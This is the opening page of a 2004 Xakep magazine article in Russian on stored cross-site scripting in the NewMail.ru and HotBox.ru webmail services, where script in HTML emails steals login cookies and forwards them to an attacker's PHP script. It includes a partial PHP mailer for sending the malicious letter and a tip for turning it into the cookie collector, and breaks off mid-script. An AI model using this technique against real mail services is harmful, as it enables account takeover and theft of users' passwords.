Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #64, АПРЕЛЬ 2004 г.

Старые баги новой почты

NSD (www.nsd.ru)

Xakep, номер #064, стр. 064-056-1


CSS-уязвимости на NewMail.ru и HotBox.ru

Что говорить, дыры есть везде, абсолютно устойчивых систем не существует. Но когда глупейшие жуки появляются в серьезных и уважаемых сервисах, это не может не вызывать опасений. Сегодня на моем операционном столе лежат такие популярные российские сервисы, как NewMail и HotBox. Из-за раздолбайства ленивых разработчиков почтового web-интерфейса хакер без проблем может получить доступ к мыльнику любого юзера. Хочешь знать, как ему это удается?

Introдакшн

Чтобы не вводить пароль каждый раз при входе в веб-интерфейс почтового ящика, многие юзеры ставят галочку «сохранить пароль». После этого у них в папке cookies появляется новая плюшка, которая содержит либо комбинацию login+pass, либо идентификатор сессии. Благодаря этой информации почтовый сервер узнает в браузере пользователя законного владельца mailbox’а. В итоге, при каждом заходе на личную страницу с письмами, почтовый скрипт проверяет корректность информации, находящейся в cookie, в результате чего пользователь, не вводя пароля, сразу попадает в свой почтовый ящик. Это играет на руку хакеру. Ведь если ему удастся украсть этот кукис, он получит находящийся в нем пароль от ящика. Как известно, данные, хранящиеся в кукисах, доступны лишь тому хосту, которым они были записаны. Прочитать их можно как на стороне сервера (написав простейшее приложение на PHP, Perl или Cpp), так и у клиента - при помощи нехитрого сценария на JavaScript. Таким образом, для реализации CSS-атаки взломщику необходимо внедрить яваскрипт-код на любую страницу ломаемого сервиса и заставить жертву зайти на нее. В результате вредоносный код выполнится на клиентской машине, получит секретную информацию и сообщит ее удаленному PHP-скрипту. Каким же образом злоумышленник может вставить свой JavaScript на сайт HotBox или NewMail? Все проще, чем ты думаешь. Поскольку создатели обоих сайтов даже и не думают отфильтровывать сценарии в теле входящих писем, хакер может просто послать письмо в html-формате, которое содержит вредоносный JavaScript. Сразу после того как пользователь прочтет это письмо, секретные данные отправятся взломщику. Дальше - дело техники.

Готовим инструмент

Для реализации атаки хакеру потребуется создать две очень схожие программки на PHP. Первая посылает пользователю HTML-письмо с вредоносным кодом, вторая отправляет взломщику украденные данные из пользовательских кукисов. Поскольку программы почти не отличаются и состоят из одной только функции MAIL(), работа с которой не раз обсуждалась на страницах Кодинга, тебе не составит труда разобраться, как работают эти приложения:

PHP-cкрипт для отправки почты

<?

$from = "hacker@hacker.ru"; // от кого

$email = "lamer@hotbox.ru"; // куда отправить

$topic = "hi, lamer"; // тема письма

$message = "<HTML><сюда хакер вставит троянский javascript></HTML>";

/* тело вредоносного письма. Чтобы получить скрипт, отправляющий украденные данные хакеру, замени эту строку на $message = $QUERY_STRING; */

// собираем письмо

$headers = "From: ".$from."\r\nReply-To: ".$from."\r\n";

Содержание  Вперед на стр. 064-056-2
<<< НАЗАД ||| ГЛАВНАЯ